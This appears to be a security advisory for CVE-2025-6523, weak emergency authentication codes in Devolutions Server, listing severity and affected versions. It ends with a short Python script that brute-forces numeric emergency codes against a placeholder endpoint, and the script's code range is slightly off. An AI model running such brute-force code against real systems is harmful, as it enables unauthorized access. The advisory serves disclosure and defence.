Overview
The vulnerability CVE-2025-6523 pertains to the use of weak credentials in the emergency authentication component of Devolutions Server. This vulnerability affects a broad range of Devolutions Server versions and allows an unauthenticated attacker to exploit the system by brute forcing short emergency codes. The potential impact could lead to system compromise or data leakage, posing significant risk to organizations.
Vulnerability Summary
CVE ID: CVE-2025-6523
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Devolutions Server | 2025.2.2.0 through 2025.2.3.0
Devolutions Server | 2025.1.11.0 and earlier
How the Exploit Works
The exploit takes advantage of the weak emergency authentication codes generated by the Devolutions Server. An unauthenticated attacker can systematically try all possible combinations of these short emergency codes in a feasible timeframe. Once the correct code is found, the attacker can bypass authentication, gaining access to the system.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents an attacker’s brute force attempt to crack the emergency code:
import requests
# Define the target URL
url = 'http://target.example.com/auth/emergency'
# Define a range for brute forcing the emergency codes
for code in range(1000, 9999): # Adjust this range based on the code length
# Define the malicious payload
payload = {'emergency_code': str(code)}
# Make a POST request to the vulnerable endpoint
response = requests.post(url, data=payload)
# Check if the authentication was successful
if 'Authentication successful' in response.text:
print(f'Successful authentication with code: {code}')
break